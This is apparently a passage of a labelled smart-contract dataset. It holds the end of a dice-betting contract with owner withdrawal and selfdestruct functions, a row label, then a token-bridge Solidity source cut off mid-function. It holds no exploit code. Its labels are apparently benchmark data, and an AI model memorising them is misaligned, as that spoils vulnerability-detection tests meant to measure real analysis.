require(newMaxProfitAsPercent <= 1000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
function ownerSetMinBet(uint256 newMinimumBet) public onlyOwner{
minBet = newMinimumBet;
}
function ownerSetMaxBet(uint256 newMaxBet) public onlyOwner{
maxBet = newMaxBet;
}
function ownerSetJackpotOfHouseEdge(uint16 newProportion) public onlyOwner{
require(newProportion < 1000);
jackpotOfHouseEdge = newProportion;
}
function ownerPauseGame(bool newStatus) public onlyOwner{
gamePaused = newStatus;
}
function ownerPauseJackpot(bool newStatus) public onlyOwner{
jackpotPaused = newStatus;
}
function ownerTransferEther(address sendTo, uint256 amount) public onlyOwner{
contractBalance = safeSub(contractBalance, amount);
sendTo.transfer(amount);
setMaxProfit();
LogOwnerTransfer(sendTo, amount);
}
function ownerChangeOwner(address newOwner) public onlyOwner{
owner = newOwner;
}
function ownerkill() public onlyOwner{
selfdestruct(owner);
}
} | 0 | 866 |
pragma solidity ^0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity 0.7.5;
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
pragma solidity 0.7.5;
contract Initializable is EternalStorage {
bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba;
function setInitialize() internal {
boolStorage[INITIALIZED] = true;
}
function isInitialized() public view returns (bool) {
return boolStorage[INITIALIZED];
}
}
pragma solidity 0.7.5;
interface IUpgradeabilityOwnerStorage {
function upgradeabilityOwner() external view returns (address);
}
pragma solidity 0.7.5;
contract Upgradeable {
modifier onlyIfUpgradeabilityOwner() {
require(msg.sender == IUpgradeabilityOwnerStorage(address(this)).upgradeabilityOwner());
_;
}
}
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.7.0;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.7.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity 0.7.5;
contract Sacrifice {
constructor(address payable _recipient) payable {
selfdestruct(_recipient);
}
}
pragma solidity 0.7.5;
library AddressHelper {
function safeSendValue(address payable _receiver, uint256 _value) internal {
if (!(_receiver).send(_value)) {
new Sacrifice{ value: _value }(_receiver);
}
}
}
pragma solidity 0.7.5;
contract Claimable {
using SafeERC20 for IERC20;
modifier validAddress(address _to) {
require(_to != address(0));
_;
}
function claimValues(address _token, address _to) internal validAddress(_to) {
if (_token == address(0)) {
claimNativeCoins(_to);
} else {
claimErc20Tokens(_token, _to);
}
}
function claimNativeCoins(address _to) internal {
uint256 value = address(this).balance;
AddressHelper.safeSendValue(payable(_to), value);
}
function claimErc20Tokens(address _token, address _to) internal {
IERC20 token = IERC20(_token);
uint256 balance = token.balanceOf(address(this));
token.safeTransfer(_to, balance);
}
}
pragma solidity 0.7.5;
contract BridgedTokensRegistry is EternalStorage {
event NewTokenRegistered(address indexed nativeToken, address indexed bridgedToken);
function bridgedTokenAddress(address _nativeToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))];
}
function nativeTokenAddress(address _bridgedToken) public view returns (address) {
return addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))];
}
function _setTokenAddressPair(address _nativeToken, address _bridgedToken) internal {
addressStorage[keccak256(abi.encodePacked("homeTokenAddress", _nativeToken))] = _bridgedToken;
addressStorage[keccak256(abi.encodePacked("foreignTokenAddress", _bridgedToken))] = _nativeToken;
emit NewTokenRegistered(_nativeToken, _bridgedToken);
}
}
pragma solidity 0.7.5;
contract NativeTokensRegistry is EternalStorage {
function isBridgedTokenDeployAcknowledged(address _token) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))];
}
function _ackBridgedTokenDeploy(address _token) internal {
if (!boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))]) {
boolStorage[keccak256(abi.encodePacked("ackDeploy", _token))] = true;
}
}
}
pragma solidity 0.7.5;
contract MediatorBalanceStorage is EternalStorage {
function mediatorBalance(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))];
}
function _setMediatorBalance(address _token, uint256 _balance) internal {
uintStorage[keccak256(abi.encodePacked("mediatorBalance", _token))] = _balance;
}
}
pragma solidity 0.7.5;
interface IERC677 is IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value, bytes data);
function transferAndCall(
address to,
uint256 value,
bytes calldata data
) external returns (bool);
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
}
pragma solidity 0.7.5;
library Bytes {
function bytesToAddress(bytes memory _bytes) internal pure returns (address addr) {
assembly {
addr := mload(add(_bytes, 20))
}
}
}
pragma solidity 0.7.5;
contract ReentrancyGuard {
function lock() internal view returns (bool res) {
assembly {
res := sload(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92)
}
}
function setLock(bool _lock) internal {
assembly {
sstore(0x6168652c307c1e813ca11cfb3a601f1cf3b22452021a5052d8b05f1f1f8a3e92, _lock)
}
}
}
pragma solidity 0.7.5;
contract Ownable is EternalStorage {
bytes4 internal constant UPGRADEABILITY_OWNER = 0x6fde8202;
event OwnershipTransferred(address previousOwner, address newOwner);
modifier onlyOwner() {
_onlyOwner();
_;
}
function _onlyOwner() internal view {
require(msg.sender == owner());
}
modifier onlyRelevantSender() {
(bool isProxy, bytes memory returnData) =
address(this).staticcall(abi.encodeWithSelector(UPGRADEABILITY_OWNER));
require(
!isProxy ||
(returnData.length == 32 && msg.sender == abi.decode(returnData, (address))) ||
msg.sender == address(this)
);
_;
}
bytes32 internal constant OWNER = 0x02016836a56b71f0d02689e69e326f4f4c1b9057164ef592671cf0d37c8040c0;
function owner() public view returns (address) {
return addressStorage[OWNER];
}
function transferOwnership(address newOwner) external onlyOwner {
_setOwner(newOwner);
}
function _setOwner(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(owner(), newOwner);
addressStorage[OWNER] = newOwner;
}
}
pragma solidity 0.7.5;
interface IAMB {
event UserRequestForAffirmation(bytes32 indexed messageId, bytes encodedData);
event UserRequestForSignature(bytes32 indexed messageId, bytes encodedData);
event AffirmationCompleted(
address indexed sender,
address indexed executor,
bytes32 indexed messageId,
bool status
);
event RelayedMessage(address indexed sender, address indexed executor, bytes32 indexed messageId, bool status);
function messageSender() external view returns (address);
function maxGasPerTx() external view returns (uint256);
function transactionHash() external view returns (bytes32);
function messageId() external view returns (bytes32);
function messageSourceChainId() external view returns (bytes32);
function messageCallStatus(bytes32 _messageId) external view returns (bool);
function failedMessageDataHash(bytes32 _messageId) external view returns (bytes32);
function failedMessageReceiver(bytes32 _messageId) external view returns (address);
function failedMessageSender(bytes32 _messageId) external view returns (address);
function requireToPassMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function requireToConfirmMessage(
address _contract,
bytes calldata _data,
uint256 _gas
) external returns (bytes32);
function sourceChainId() external view returns (uint256);
function destinationChainId() external view returns (uint256);
}
pragma solidity 0.7.5;
abstract contract BasicAMBMediator is Ownable {
bytes32 internal constant BRIDGE_CONTRACT = 0x811bbb11e8899da471f0e69a3ed55090fc90215227fc5fb1cb0d6e962ea7b74f;
bytes32 internal constant MEDIATOR_CONTRACT = 0x98aa806e31e94a687a31c65769cb99670064dd7f5a87526da075c5fb4eab9880;
modifier onlyMediator {
_onlyMediator();
_;
}
function _onlyMediator() internal view {
IAMB bridge = bridgeContract();
require(msg.sender == address(bridge));
require(bridge.messageSender() == mediatorContractOnOtherSide());
}
function setBridgeContract(address _bridgeContract) external onlyOwner {
_setBridgeContract(_bridgeContract);
}
function setMediatorContractOnOtherSide(address _mediatorContract) external onlyOwner {
_setMediatorContractOnOtherSide(_mediatorContract);
}
function bridgeContract() public view returns (IAMB) {
return IAMB(addressStorage[BRIDGE_CONTRACT]);
}
function mediatorContractOnOtherSide() public view virtual returns (address) {
return addressStorage[MEDIATOR_CONTRACT];
}
function _setBridgeContract(address _bridgeContract) internal {
require(Address.isContract(_bridgeContract));
addressStorage[BRIDGE_CONTRACT] = _bridgeContract;
}
function _setMediatorContractOnOtherSide(address _mediatorContract) internal {
addressStorage[MEDIATOR_CONTRACT] = _mediatorContract;
}
function messageId() internal view returns (bytes32) {
return bridgeContract().messageId();
}
function maxGasPerTx() internal view returns (uint256) {
return bridgeContract().maxGasPerTx();
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal virtual returns (bytes32);
}
pragma solidity 0.7.5;
abstract contract TokensRelayer is BasicAMBMediator, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC677;
function onTokenTransfer(
address _from,
uint256 _value,
bytes memory _data
) external returns (bool) {
if (!lock()) {
bytes memory data = new bytes(0);
address receiver = _from;
if (_data.length >= 20) {
receiver = Bytes.bytesToAddress(_data);
if (_data.length > 20) {
assembly {
let size := sub(mload(_data), 20)
data := add(_data, 20)
mstore(data, size)
}
}
}
bridgeSpecificActionsOnTokenTransfer(msg.sender, _from, receiver, _value, data);
}
return true;
}
function relayTokens(
IERC677 token,
address _receiver,
uint256 _value
) external {
_relayTokens(token, _receiver, _value, new bytes(0));
}
function relayTokens(IERC677 token, uint256 _value) external {
_relayTokens(token, msg.sender, _value, new bytes(0));
}
function relayTokensAndCall(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) external {
_relayTokens(token, _receiver, _value, _data);
}
function _relayTokens(
IERC677 token,
address _receiver,
uint256 _value,
bytes memory _data
) internal {
require(!lock());
uint256 balanceBefore = token.balanceOf(address(this));
setLock(true);
token.safeTransferFrom(msg.sender, address(this), _value);
setLock(false);
uint256 balanceDiff = token.balanceOf(address(this)).sub(balanceBefore);
require(balanceDiff <= _value);
bridgeSpecificActionsOnTokenTransfer(address(token), msg.sender, _receiver, balanceDiff, _data);
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual;
}
pragma solidity 0.7.5;
interface VersionableBridge {
function getBridgeInterfacesVersion()
external
pure
returns (
uint64 major,
uint64 minor,
uint64 patch
);
function getBridgeMode() external pure returns (bytes4);
}
pragma solidity 0.7.5;
contract OmnibridgeInfo is VersionableBridge {
event TokensBridgingInitiated(
address indexed token,
address indexed sender,
uint256 value,
bytes32 indexed messageId
);
event TokensBridged(address indexed token, address indexed recipient, uint256 value, bytes32 indexed messageId);
function getBridgeInterfacesVersion()
external
pure
override
returns (
uint64 major,
uint64 minor,
uint64 patch
)
{
return (3, 0, 1);
}
function getBridgeMode() external pure override returns (bytes4 _data) {
return 0xb1516c26;
}
}
pragma solidity 0.7.5;
contract TokensBridgeLimits is EternalStorage, Ownable {
using SafeMath for uint256;
event DailyLimitChanged(address indexed token, uint256 newLimit);
event ExecutionDailyLimitChanged(address indexed token, uint256 newLimit);
function isTokenRegistered(address _token) public view returns (bool) {
return minPerTx(_token) > 0;
}
function totalSpentPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))];
}
function totalExecutedPerDay(address _token, uint256 _day) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))];
}
function dailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))];
}
function executionDailyLimit(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))];
}
function maxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))];
}
function executionMaxPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))];
}
function minPerTx(address _token) public view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("minPerTx", _token))];
}
function withinLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalSpentPerDay(_token, getCurrentDay()).add(_amount);
return
dailyLimit(address(0)) > 0 &&
dailyLimit(_token) >= nextLimit &&
_amount <= maxPerTx(_token) &&
_amount >= minPerTx(_token);
}
function withinExecutionLimit(address _token, uint256 _amount) public view returns (bool) {
uint256 nextLimit = totalExecutedPerDay(_token, getCurrentDay()).add(_amount);
return
executionDailyLimit(address(0)) > 0 &&
executionDailyLimit(_token) >= nextLimit &&
_amount <= executionMaxPerTx(_token);
}
function getCurrentDay() public view returns (uint256) {
return block.timestamp / 1 days;
}
function setDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > maxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _dailyLimit;
emit DailyLimitChanged(_token, _dailyLimit);
}
function setExecutionDailyLimit(address _token, uint256 _dailyLimit) external onlyOwner {
require(isTokenRegistered(_token));
require(_dailyLimit > executionMaxPerTx(_token) || _dailyLimit == 0);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _dailyLimit;
emit ExecutionDailyLimitChanged(_token, _dailyLimit);
}
function setExecutionMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > 0 && _maxPerTx < executionDailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _maxPerTx;
}
function setMaxPerTx(address _token, uint256 _maxPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_maxPerTx == 0 || (_maxPerTx > minPerTx(_token) && _maxPerTx < dailyLimit(_token)));
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _maxPerTx;
}
function setMinPerTx(address _token, uint256 _minPerTx) external onlyOwner {
require(isTokenRegistered(_token));
require(_minPerTx > 0 && _minPerTx < dailyLimit(_token) && _minPerTx < maxPerTx(_token));
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _minPerTx;
}
function maxAvailablePerTx(address _token) public view returns (uint256) {
uint256 _maxPerTx = maxPerTx(_token);
uint256 _dailyLimit = dailyLimit(_token);
uint256 _spent = totalSpentPerDay(_token, getCurrentDay());
uint256 _remainingOutOfDaily = _dailyLimit > _spent ? _dailyLimit - _spent : 0;
return _maxPerTx < _remainingOutOfDaily ? _maxPerTx : _remainingOutOfDaily;
}
function addTotalSpentPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalSpentPerDay", _token, _day))] = totalSpentPerDay(_token, _day).add(
_value
);
}
function addTotalExecutedPerDay(
address _token,
uint256 _day,
uint256 _value
) internal {
uintStorage[keccak256(abi.encodePacked("totalExecutedPerDay", _token, _day))] = totalExecutedPerDay(
_token,
_day
)
.add(_value);
}
function _setLimits(address _token, uint256[3] memory _limits) internal {
require(
_limits[2] > 0 &&
_limits[1] > _limits[2] &&
_limits[0] > _limits[1]
);
uintStorage[keccak256(abi.encodePacked("dailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("maxPerTx", _token))] = _limits[1];
uintStorage[keccak256(abi.encodePacked("minPerTx", _token))] = _limits[2];
emit DailyLimitChanged(_token, _limits[0]);
}
function _setExecutionLimits(address _token, uint256[2] memory _limits) internal {
require(_limits[1] < _limits[0]);
uintStorage[keccak256(abi.encodePacked("executionDailyLimit", _token))] = _limits[0];
uintStorage[keccak256(abi.encodePacked("executionMaxPerTx", _token))] = _limits[1];
emit ExecutionDailyLimitChanged(_token, _limits[0]);
}
function _initializeTokenBridgeLimits(address _token, uint256 _decimals) internal {
uint256 factor;
if (_decimals < 18) {
factor = 10**(18 - _decimals);
uint256 _minPerTx = minPerTx(address(0)).div(factor);
uint256 _maxPerTx = maxPerTx(address(0)).div(factor);
uint256 _dailyLimit = dailyLimit(address(0)).div(factor);
uint256 _executionMaxPerTx = executionMaxPerTx(address(0)).div(factor);
uint256 _executionDailyLimit = executionDailyLimit(address(0)).div(factor);
if (_minPerTx == 0) {
_minPerTx = 1;
if (_maxPerTx <= _minPerTx) {
_maxPerTx = 100;
_executionMaxPerTx = 100;
if (_dailyLimit <= _maxPerTx || _executionDailyLimit <= _executionMaxPerTx) {
_dailyLimit = 10000;
_executionDailyLimit = 10000;
}
}
}
_setLimits(_token, [_dailyLimit, _maxPerTx, _minPerTx]);
_setExecutionLimits(_token, [_executionDailyLimit, _executionMaxPerTx]);
} else {
factor = 10**(_decimals - 18);
_setLimits(
_token,
[dailyLimit(address(0)).mul(factor), maxPerTx(address(0)).mul(factor), minPerTx(address(0)).mul(factor)]
);
_setExecutionLimits(
_token,
[executionDailyLimit(address(0)).mul(factor), executionMaxPerTx(address(0)).mul(factor)]
);
}
}
}
pragma solidity 0.7.5;
abstract contract BridgeOperationsStorage is EternalStorage {
function setMessageToken(bytes32 _messageId, address _token) internal {
addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))] = _token;
}
function messageToken(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageToken", _messageId))];
}
function setMessageValue(bytes32 _messageId, uint256 _value) internal {
uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))] = _value;
}
function messageValue(bytes32 _messageId) internal view returns (uint256) {
return uintStorage[keccak256(abi.encodePacked("messageValue", _messageId))];
}
function setMessageRecipient(bytes32 _messageId, address _recipient) internal {
addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))] = _recipient;
}
function messageRecipient(bytes32 _messageId) internal view returns (address) {
return addressStorage[keccak256(abi.encodePacked("messageRecipient", _messageId))];
}
}
pragma solidity 0.7.5;
abstract contract FailedMessagesProcessor is BasicAMBMediator, BridgeOperationsStorage {
event FailedMessageFixed(bytes32 indexed messageId, address token, address recipient, uint256 value);
function requestFailedMessageFix(bytes32 _messageId) external {
IAMB bridge = bridgeContract();
require(!bridge.messageCallStatus(_messageId));
require(bridge.failedMessageReceiver(_messageId) == address(this));
require(bridge.failedMessageSender(_messageId) == mediatorContractOnOtherSide());
bytes4 methodSelector = this.fixFailedMessage.selector;
bytes memory data = abi.encodeWithSelector(methodSelector, _messageId);
_passMessage(data, true);
}
function fixFailedMessage(bytes32 _messageId) public onlyMediator {
require(!messageFixed(_messageId));
address token = messageToken(_messageId);
address recipient = messageRecipient(_messageId);
uint256 value = messageValue(_messageId);
setMessageFixed(_messageId);
executeActionOnFixedTokens(token, recipient, value);
emit FailedMessageFixed(_messageId, token, recipient, value);
}
function messageFixed(bytes32 _messageId) public view returns (bool) {
return boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))];
}
function setMessageFixed(bytes32 _messageId) internal {
boolStorage[keccak256(abi.encodePacked("messageFixed", _messageId))] = true;
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal virtual;
}
pragma solidity 0.7.5;
abstract contract Proxy {
function implementation() public view virtual returns (address);
fallback() external payable {
address _impl = implementation();
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0)
mstore(0x40, add(ptr, returndatasize()))
returndatacopy(ptr, 0, returndatasize())
switch result
case 0 {
revert(ptr, returndatasize())
}
default {
return(ptr, returndatasize())
}
}
}
}
pragma solidity 0.7.5;
interface IPermittableTokenVersion {
function version() external pure returns (string memory);
}
contract TokenProxy is Proxy {
string internal name;
string internal symbol;
uint8 internal decimals;
mapping(address => uint256) internal balances;
uint256 internal totalSupply;
mapping(address => mapping(address => uint256)) internal allowed;
address internal owner;
bool internal mintingFinished;
address internal bridgeContractAddr;
bytes32 internal DOMAIN_SEPARATOR;
mapping(address => uint256) internal nonces;
mapping(address => mapping(address => uint256)) internal expirations;
constructor(
address _tokenImage,
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _chainId,
address _owner
) {
string memory version = IPermittableTokenVersion(_tokenImage).version();
assembly {
sstore(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc, _tokenImage)
}
name = _name;
symbol = _symbol;
decimals = _decimals;
owner = _owner;
bridgeContractAddr = _owner;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(_name)),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
function implementation() public view override returns (address impl) {
assembly {
impl := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)
}
}
}
pragma solidity 0.7.5;
contract OwnableModule {
address public owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) external onlyOwner {
owner = _newOwner;
}
}
pragma solidity 0.7.5;
contract TokenFactory is OwnableModule {
address public tokenImage;
constructor(address _owner, address _tokenImage) OwnableModule(_owner) {
tokenImage = _tokenImage;
}
function setTokenImage(address _tokenImage) external onlyOwner {
require(Address.isContract(_tokenImage));
tokenImage = _tokenImage;
}
function deploy(
string calldata _name,
string calldata _symbol,
uint8 _decimals,
uint256 _chainId
) external returns (address) {
return address(new TokenProxy(tokenImage, _name, _symbol, _decimals, _chainId, msg.sender));
}
}
pragma solidity 0.7.5;
contract TokenFactoryConnector is Ownable {
bytes32 internal constant TOKEN_FACTORY_CONTRACT =
0x269c5905f777ee6391c7a361d17039a7d62f52ba9fffeb98c5ade342705731a3;
function setTokenFactory(address _tokenFactory) external onlyOwner {
_setTokenFactory(_tokenFactory);
}
function tokenFactory() public view returns (TokenFactory) {
return TokenFactory(addressStorage[TOKEN_FACTORY_CONTRACT]);
}
function _setTokenFactory(address _tokenFactory) internal {
require(Address.isContract(_tokenFactory));
addressStorage[TOKEN_FACTORY_CONTRACT] = _tokenFactory;
}
}
pragma solidity 0.7.5;
interface IBurnableMintableERC677Token is IERC677 {
function mint(address _to, uint256 _amount) external returns (bool);
function burn(uint256 _value) external;
function claimTokens(address _token, address _to) external;
}
pragma solidity 0.7.5;
interface IERC20Metadata {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity 0.7.5;
interface IERC20Receiver {
function onTokenBridged(
address token,
uint256 value,
bytes calldata data
) external;
}
pragma solidity 0.7.5;
interface ITokenDetails {
function name() external view;
function NAME() external view;
function symbol() external view;
function SYMBOL() external view;
function decimals() external view;
function DECIMALS() external view;
}
library TokenReader {
function readName(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.name.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.NAME.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readSymbol(address _token) internal view returns (string memory) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.symbol.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.SYMBOL.selector));
if (!status) {
return "";
}
}
return _convertToString(data);
}
function readDecimals(address _token) internal view returns (uint8) {
(bool status, bytes memory data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.decimals.selector));
if (!status) {
(status, data) = _token.staticcall(abi.encodeWithSelector(ITokenDetails.DECIMALS.selector));
if (!status) {
return 0;
}
}
return abi.decode(data, (uint8));
}
function _convertToString(bytes memory returnData) private pure returns (string memory) {
if (returnData.length > 32) {
return abi.decode(returnData, (string));
} else if (returnData.length == 32) {
bytes32 data = abi.decode(returnData, (bytes32));
string memory res = new string(32);
assembly {
let len := 0
mstore(add(res, 32), data)
for { } gt(data, 0) { len := add(len, 1) } {
data := shl(8, data)
}
mstore(res, len)
}
return res;
} else {
return "";
}
}
}
pragma solidity 0.7.5;
library SafeMint {
function safeMint(
IBurnableMintableERC677Token _token,
address _to,
uint256 _value
) internal {
require(_token.mint(_to, _value));
}
}
pragma solidity 0.7.5;
abstract contract BasicOmnibridge is
Initializable,
Upgradeable,
Claimable,
OmnibridgeInfo,
TokensRelayer,
FailedMessagesProcessor,
BridgedTokensRegistry,
NativeTokensRegistry,
MediatorBalanceStorage,
TokenFactoryConnector,
TokensBridgeLimits
{
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
uint256 private immutable SUFFIX_SIZE;
bytes32 private immutable SUFFIX;
constructor(string memory _suffix) {
require(bytes(_suffix).length <= 32);
bytes32 suffix;
assembly {
suffix := mload(add(_suffix, 32))
}
SUFFIX = suffix;
SUFFIX_SIZE = bytes(_suffix).length;
}
function deployAndHandleBridgedTokens(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
}
function deployAndHandleBridgedTokensAndCall(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals,
address _recipient,
uint256 _value,
bytes calldata _data
) external onlyMediator {
address bridgedToken = _getBridgedTokenOrDeploy(_token, _name, _symbol, _decimals);
_handleTokens(bridgedToken, false, _recipient, _value);
_receiverCallback(_recipient, bridgedToken, _value, _data);
}
function handleBridgedTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
_handleTokens(token, false, _recipient, _value);
}
function handleBridgedTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
address token = bridgedTokenAddress(_token);
require(isTokenRegistered(token));
